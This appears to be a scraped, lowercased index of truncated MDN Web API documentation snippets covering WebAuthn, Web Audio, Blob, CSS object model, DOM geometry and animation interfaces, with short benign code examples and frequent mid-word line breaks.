mstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the audio track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech.
AuthenticatorAttestationResponse.getTransports() - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification sta...
AuthenticatorAttestationResponse - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status...
AuthenticatorResponse.clientDataJSON - Web APIs
it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a do
mstring which is the base64url encoding of the token binding id which was used for the communication.
AuthenticatorResponse - Web APIs
ver // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credential...
BaseAudioContext.createBiquadFilter() - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); ...
BaseAudioContext.createGain() - Web APIs
new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastrea
msource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
BaseAudioContext.createPanner() - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
BaseAudioContext - Web APIs
baseaudiocontext.createchannelmerger() creates a channelmergernode, which is used to combine channels from multiple audio strea
ms into a single audio stream.
BatteryManager - Web APIs
void seteventhandler(do
mstring type, eventhandler handler) eventhandler geteventhandler(do
mstring type) specifications specification status comment battery status api candidate recommendation initial definition ...
BiquadFilterNode.Q - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadfilter.frequency.value...
BiquadFilterNode.detune - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications ...
BiquadFilterNode.frequency - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status commen...
BiquadFilterNode.gain - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status commen...
BiquadFilterNode.type - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status commen...
BiquadFilterNode - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); ...
Blob() - Web APIs
example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single do
mstring var omyblob = new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification.
Blob.stream() - Web APIs
call the returned stream's pipethrough() method to pipe the stream through a transfor
mstream or any other readable and writable pair.
Blob.text() - Web APIs
usage notes the filereader method readastext() is an older method that perfor
ms a similar function.
Blob.type - Web APIs
syntax var mimetype = blob.type value a do
mstring containing the file's mime type, or an empty string if the type could not be determined.
BluetoothRemoteGATTCharacteristic - Web APIs
bluetoothremotegattcharacteristic.uuidread only returns a do
mstring containing the uuid of the characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement characteristic.
Body.json() - Web APIs
when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list ite
ms to display our product data.
BroadcastChannel() - Web APIs
syntax channel = new broadcastchannel(channel); values channel is a do
mstring representing the name of the channel; there is one single channel with this name for all browsing contexts with the same origin.
BufferSource - Web APIs
buffersource is a typedef used to represent objects that are either the
mselves an arraybuffer, or which are a typedarray providing an arraybufferview.
ByteLengthQueuingStrategy.size() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment strea
msthe definition of 'size' in that specification.
CSS numeric factory functions - Web APIs
h(number); css.ic(number); css.rem(number); css.lh(number); css.rlh(number); css.vw(number); css.vh(number); css.vi(number); css.vb(number); css.vmin(number); css.vmax(number); css.cm(number); css.mm(number); css.q(number); css.in(number); css.pt(number); css.pc(number); css.px(number); // <angle> css.deg(number); css.grad(number); css.rad(number); css.turn(number); // <time> css.s(number); css.
ms(number); // <frequency> css.hz(number); css.khz(number); // <resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax() numeric factory function to create a cssunitvalue: let height = css.vmax(50); console.log( height ); // cssunitvalue {value: 50, unit: "vmax"} console.log( height.value ) // 50 console.log( height.unit ...
CSSConditionRule - Web APIs
interface cssconditionrule : cssgroupingrule { attribute do
mstring conditiontext; } properties the cssconditionrule derives from cssrule, cssgroupingrule and inherits all properties of these classes.
CSSGroupingRule - Web APIs
interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (do
mstring rule, unsigned long index); void deleterule (unsigned long index); } properties common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all properties of this class.
CSSPageRule - Web APIs
interface csspagerule : cssrule { attribute do
mstring selectortext; readonly attribute cssstyledeclaration style; }; properties as a cssrule, csspagerule also implements the properties of this interface.
CSSPseudoElement.type - Web APIs
syntax var typeofpseudoelement = csspseudoelement.type; value a csso
mstring containing one of the following values: "::before" "::after" "::marker" examples the example below demonstrates the relationship between csspseudoelement.type and element.pseudo(): const myelement = document.queryselector('q'); const myselector = '::after'; const csspseudoelement = myelement.pseudo(myselector); const typeofpseudoelement = csspseudoelement.type; console.log(myselector === typeofpseudoelement); // outputs true specifications specification status comment css pseudo-elements level 4the definition of 'type'...
CSSStyleSheet.rules - Web APIs
while rules is unlikely to be removed soon, its availability is not as widespread and using it will result in compatibility proble
ms for your site or app.
CSSStyleSheet - Web APIs
this is normally used to access individual rules like this: stylesheet.cssrules[i] // where i = 0..cssrules.length-1 to add or remove ite
ms in cssrules, use the cssstylesheet's insertrule() and deleterule() methods.
Pixel manipulation with canvas - Web APIs
2d'); ctx.drawimage(img, 0, 0); img.style.display = 'none'; var zoomctx = document.getelementbyid('zoom').getcontext('2d'); var smoothbtn = document.getelementbyid('smoothbtn'); var togglesmoothing = function(event) { zoomctx.imagesmoothingenabled = this.checked; zoomctx.mozimagesmoothingenabled = this.checked; zoomctx.webkitimagesmoothingenabled = this.checked; zoomctx.
msimagesmoothingenabled = this.checked; }; smoothbtn.addeventlistener('change', togglesmoothing); var zoom = function(event) { var x = event.layerx; var y = event.layery; zoomctx.drawimage(canvas, math.min(math.max(0, x - 5), img.width - 10), math.min(math.max(0, y - 5), img.height - 10), 10, 10, ...
Transformations - Web APIs
ctx.save(); ctx.scale(10, 3); ctx.fillrect(1, 10, 10, 10); ctx.restore(); // mirror horizontally ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('mdn', -135, 120); } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample transfor
ms finally, the following transformation methods allow modifications directly to the transformation matrix.
Client.postMessage() - Web APIs
client.postmessage({
msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.
msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Clients.get() - Web APIs
syntax self.clients.get(id).then(function(client) { // do something with your returned client }); parameters id a do
mstring representing the id of the client you want to get.
Clipboard.writeText() - Web APIs
syntax var promise = navigator.clipboard.writetext(newcliptext) parameters newcliptext the do
mstring to be written to the clipboard.
CloseEvent - Web APIs
closeevent.reason read only returns a do
mstring indicating the reason the server closed the connection.
Comment() - Web APIs
the comment() constructor returns a newly created comment object with the optional do
mstring given in parameter as its textual content.
CompositionEvent.data - Web APIs
syntax mydata = compositionevent.data value a do
mstring representing the event data: for compositionstart events, this is the currently selected text that will be replaced by the string being composed.
Console.table() - Web APIs
// an array of strings console.table(["apples", "oranges", "bananas"]); // an object whose properties are strings function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var me = new person("john", "smith"); console.table(me); collections of compound types if the elements in the array, or properties in the object, are the
mselves arrays or objects, then their elements or properties are enumerated in the row, one per column: // an array of arrays var people = [["john", "smith"], ["jane", "doe"], ["emily", "jones"]] console.table(people); // an array of objects function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john = new person("john", "smith"); var jane = new...
Console.timeLog() - Web APIs
return if no label parameter included: default: 1042
ms if an existing label is included: timer name: 1242
ms exceptions if there is no running timer, timelog() returns the warning: timer “default” doesn’t exist.
ConstrainBoolean - Web APIs
specifications specification status comment media capture and strea
msthe definition of 'constrainboolean' in that specification.
ConstrainDouble - Web APIs
specifications specification status comment media capture and strea
msthe definition of 'constraindouble' in that specification.
ConstrainULong - Web APIs
specifications specification status comment media capture and strea
msthe definition of 'constrainulong' in that specification.
ContentIndexEvent() - Web APIs
syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a do
mstring indicating the event which occurred.
ConvolverNode - Web APIs
the convolvernode interface is an audionode that perfor
ms a linear convolution on a given audiobuffer, often used to achieve a reverb effect.
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment strea
msthe definition of 'countqueuingstrategy()' in that specification.
CountQueuingStrategy.size() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment strea
msthe definition of 'size' in that specification.
CustomEvent() - Web APIs
syntax event = new customevent(typearg, customeventinit); parameters typearg a do
mstring representing the name of the event.
DOMConfiguration - Web APIs
orm", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a do
mstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguration ...
DOMMatrixReadOnly.scale() - Web APIs
const matrix = new dommatrixreadonly(); const scaledmatrix = matrix.scale(0.5); let scaledmatrixwithorigin = matrix.scale(0.5, 25, 25); // if the browser has interpreted these parameters as scalex, scaley, scalez, the resulting matrix is 3d const browserexpectssixpara
mscale = !scaledmatrixwithorigin.is2d; if (browserexpectssixpara
mscale) { scaledmatrixwithorigin = matrix.scale(0.5, 0.5, 1, 25, 25, 0); } document.queryselector('#transformed').setattribute('transform', scaledmatrix.tostring()); document.queryselector('#transformedorigin').setattribute('transform', scaledmatrixwithorigin.tostring()); screenshotlive sample specifications specification...
DOMParser() - Web APIs
this object can be used to parse the text of a document using the parsefro
mstring() method.
DOMPoint.x - Web APIs
in general, positive values x mean to the right, and negative values of x means to the left, barring any transfor
ms that may have altered the orientation of the axes.
DOMPoint.y - Web APIs
unless transfor
ms have been applied to alter the orientation, the value of y increases downward and decreases upward.
DOMPoint.z - Web APIs
unless transfor
ms have changed the orientation, a z of 0 is the plane of the screen, with positive values extending outward toward the user from the screen, and negative values receding into the distance behind the screen.
DOMPointInit.x - Web APIs
in general, positive values x mean to the right, and negative values of x means to the left, assuming that transfor
ms have not altered the orientation of the axes.
DOMPointInit - Web APIs
this is the vertical coordinate, and barring any transfor
ms applied to the coordinate system, positive values are downward and negative values upward toward the top of the screen.
DOMPointReadOnly.x - Web APIs
in general, positive values x mean to the right, and negative values of x means to the left, assuming no transfor
ms have resulted in a reversal.
DOMPointReadOnly.y - Web APIs
in general, positive values of y mean downward, and negative values of y mean upward, assuming no transfor
ms have resulted in a reversal.
DOMPointReadOnly.z - Web APIs
in general, positive values of z mean toward the user (out from the screen), and negative values of z mean away from the user (into the screen), assuming no transfor
ms have resulted in a reversal.
DOMQuad - Web APIs
returning domquads lets getboxquads() return accurate information even when arbitrary 2d or 3d transfor
ms are present.
DOMTokenList.add() - Web APIs
syntax tokenlist.add(token1[, token2[, ...tokenn]]); parameters tokenn a do
mstring representing the token (or tokens) to add to the tokenlist.
DOMTokenList.contains() - Web APIs
syntax tokenlist.contains(token); parameters token a do
mstring representing the token you want to check for the existance of in the list.
DOMTokenList.remove() - Web APIs
syntax tokenlist.remove(token1[, token2[, ...tokenn]]); parameters tokenn a do
mstring representing the token you want to remove from the list.
DOMTokenList - Web APIs
domtokenlist.value a stringifier property that returns the value of the list as a do
mstring.
DataTransferItem.getAsFile() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.ite
ms; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html ...
DataTransferItem - Web APIs
during a drag operation, each drag event has a datatransfer property which contains a list of drag data ite
ms.
Document: DOMContentLoaded event - Web APIs
ed dosomething(); } live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-ite
ms: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { wind...
Document.createCDATASection() - Web APIs
example var docu = new domparser().parsefro
mstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err.
Document.createComment() - Web APIs
example var docu = new domparser().parsefro
mstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createProcessingInstruction() - Web APIs
example var doc = new domparser().parsefro
mstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'cr...
Document.dir - Web APIs
the document.dir property is a do
mstring representing the directionality of the text of the document, whether left to right (default) or right to left.
Document.images - Web APIs
usage notes you can use either javascript array notation or the item() method on the returned collection to access the ite
ms in the collection.
Document: readystatechange event - Web APIs
change examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-ite
ms: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { wind...
Document: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-ite
ms: center; justify-content: center; } div { width: 105px; height: 105px; background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform ...
DoubleRange - Web APIs
specifications specification status comment media capture and strea
msthe definition of 'doublerange' in that specification.
DragEvent() - Web APIs
syntax event = new dragevent(type, drageventinit); arguments type is a do
mstring representing the name of the event (see dragevent event types).
DragEvent - Web APIs
dragover this event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50
ms when mouse is not moving else much faster between 5
ms (slow movement) and 1
ms (fast movement) approximately.
EffectTiming.delay - Web APIs
examples in the pool of tears example, each tear is passed a random delay via its timing object: // randomizer function var getrandom
msrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandom
msrange(-1000, 1000), // randomized for each tear duration: getrandom
msrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.
EffectTiming.direction - Web APIs
syntax var timingproperties = { direction: "normal" | "reverse" | "alternate" | "alternate-reverse" }; timingproperties.direction = "normal" | "reverse" | "alternate" | "alternate-reverse"; value a do
mstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction.
EffectTiming.duration - Web APIs
examples in the pool of tears example, each tear is passed a random duration via its timing object: // randomizer function var getrandom
msrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandom
msrange(-1000, 1000), // randomized for each tear duration: getrandom
msrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(...
EffectTiming.easing - Web APIs
accepts several pre-defined do
mstring values, a steps() timing function like steps(5, end), or a custom cubic-bezier value like cubic-bezier(0.42, 0, 0.58, 1).
EffectTiming.fill - Web APIs
syntax var timingproperties = { fill: "none" | "forwards" | "backwards" | "both" | "auto" } value a do
mstring indicating the fill type to use in order to properly render an affected element when outside the animation's active interval (that is, when it's not actively animating).
Element.animate() - Web APIs
options either an integer representing the animation's duration (in milliseconds), or an object containing one or more timing properties: id optional a property unique to animate(): a do
mstring with which to reference the animation.
Element.clientTop - Web APIs
padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom notes clienttop was first introduced in the
ms ie dhtml object model.
Element: error event - Web APIs
<div class="controls"> <button id="img-error" type="button">generate image error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-ite
ms: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); const badimg = document.queryselector('.bad-img'); badimg.addeventlistener('error', (event) => { lo...
Element.insertAdjacentElement() - Web APIs
syntax targetelement.insertadjacentelement(position, element); parameters position a do
mstring representing the position relative to the targetelement; must match (case-insensitively) one of the following strings: 'beforebegin': before the targetelement itself.
Element.insertAdjacentHTML() - Web APIs
syntax element.insertadjacenthtml(position, text); parameters position a do
mstring representing the position relative to the element; must be one of the following strings: 'beforebegin': before the element itself.
Element: mouseout event - Web APIs
when you try this out, you'll find that mouseout is delivered to the individual list ite
ms, while mouseleave goes to the overall list, courtesy of the hierarchy of the ite
ms and the fact that list ite
ms obscure the underlying <ul>.
Element: mousewheel event - Web APIs
bubbles yes cancelable yes interface mousewheelevent event handler property onmousewheel the detail property the value of the detail property is always zero, except in opera, which uses detail similarly to the firefox-only dommousescroll event's detail value, which indicates the scroll distance in ter
ms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
Element.name - Web APIs
syntax htmlelement.name = string let elname = htmlelement.name let fcontrol = htmlformelement.elementname let controlcollection = htmlformelement.elements.elementname example <form action="" name="forma"> <input type="text" value="foo"> </form> <script type="text/javascript"> // get a reference to the first element in the form let formelement = document.for
ms['forma'].elements[0] // give it a name formelement.name = 'inputa' // show the value of the input alert(document.for
ms['forma'].elements['inputa'].value) </script> notes in internet explorer (ie), the name property of dom objects created using document.createelement() can't be set or modified.
Element.outerHTML - Web APIs
syntax var content = element.outerhtml; element.outerhtml = htmlstring; value reading the value of outerhtml returns a do
mstring containing an html serialization of the element and its descendants.
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-ite
ms: center; justify-content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementby...
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-ite
ms: center; justify-content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementby...
Element: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-ite
ms: center; justify-content: center; } div { width: 105px; height: 105px; background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el...
Event() - Web APIs
syntax new event(typearg[, eventinit]); values typearg this is a do
mstring representing the name of the event.
Event.preventDefault() - Web APIs
it's not an elegant function but does the job for the purposes of this example: var warningtimeout; var warningbox = document.createelement("div"); warningbox.classname = "warning"; function displaywarning(
msg) { warningbox.innerhtml =
msg; if (document.body.contains(warningbox)) { window.cleartimeout(warningtimeout); } else { // insert warningbox after mytextbox mytextbox.parentnode.insertbefore(warningbox, mytextbox.nextsibling); } warningtimeout = window.settimeout(function() { warningbox.parentnode.removechild(warningbox); warningtimeout = -1; }, 2000); } r...
EventTarget - Web APIs
void seteventhandler(do
mstring type, eventhandler handler) eventhandler geteventhandler(do
mstring type) example simple implementation of eventtarget var eventtarget = function() { this.listeners = {}; }; eventtarget.prototype.listeners = null; eventtarget.prototype.addeventlistener = function(type, callback) { if (!(type in this.listeners)) { this.listeners[type] = []; } this.listeners[type].push(cal...
ExtendableMessageEvent.data - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chat
msg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification.
ExtendableMessageEvent.origin - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chat
msg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent.ports - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chat
msg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
ExtendableMessageEvent.source - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chat
msg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
Using Fetch - Web APIs
a body is an instance of any of the following types: arraybuffer arraybufferview (uint8array and friends) blob/file string urlsearchpara
ms formdata the body mixin defines the following methods to extract a body (implemented by both request and response).
File.File() - Web APIs
available options are as follows: type: a do
mstring representing the mime type of the content that will be put into the file.
FileError - Web APIs
not_readable_err 4 the file or directory cannot be read, typically due to permission proble
ms that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application).
FontFace.family - Web APIs
syntax instanceoffontface.family = 'font family name'; var fontface = instanceoffontface.family; // "font family name" value a do
mstring.
FontFace.featureSettings - Web APIs
syntax var featuresettingdescriptor = fontface.featuresettings; fontface.featuresettings = featuresettingdescriptor; value a csso
mstring containing a descriptor.
FontFace.stretch - Web APIs
